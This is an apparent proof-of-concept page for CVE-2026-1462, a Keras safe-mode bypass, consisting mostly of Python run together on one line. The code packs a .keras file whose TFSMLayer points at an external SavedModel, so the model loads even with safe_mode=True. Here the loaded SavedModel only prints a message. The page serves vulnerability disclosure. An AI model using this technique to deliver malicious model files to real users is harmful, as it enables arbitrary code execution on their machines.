CVE-2026-1462 Keras安全模式绕过致RCE漏洞

import tensorflow as tf import keras import os import json import zipfile # 1. Create a malicious SavedModel that contains malicious code # In a real scenario, this model would execute arbitrary code malicious_model_path = "malicious_savedmodel" os.makedirs(malicious_model_path, exist_ok=True) # Create a simple model to represent the malicious payload class MaliciousModel(tf.Module): @tf.function(input_signature=[]) def __call__(self): # This represents arbitrary code execution tf.print("Malicious code executed via RCE!") return tf.constant(1.0) malicious_mod = MaliciousModel() tf.saved_model.save(malicious_mod, malicious_model_path) # 2. Construct a malicious .keras file containing TFSMLayer # The vulnerability allows loading the external SavedModel via config keras_config = { "class_name": "Sequential", "config": { "name": "malicious_model", "layers": [{ "class_name": "TFSMLayer", "config": { "filepath": os.path.abspath(malicious_model_path), # Pointing to malicious model "call_endpoint": "__call__" } }] } } # Save the config to a .keras file structure with zipfile.ZipFile("exploit_model.keras", "w") as z: z.writestr("config.json", json.dumps(keras_config)) z.writestr("metadata.json", json.dumps({"keras_version": "3.13.0", "backend": "tensorflow"})) # 3. Trigger the vulnerability # Even with safe_mode=True, the TFSMLayer loads the external model print("Loading malicious model with safe_mode=True...") try: # This bypasses safe_mode and executes code via TFSMLayer model = keras.models.load_model("exploit_model.keras", safe_mode=True) print("Model loaded successfully.") # Inference triggers the execution model.predict(None) except Exception as e: print(f"Error: {e}")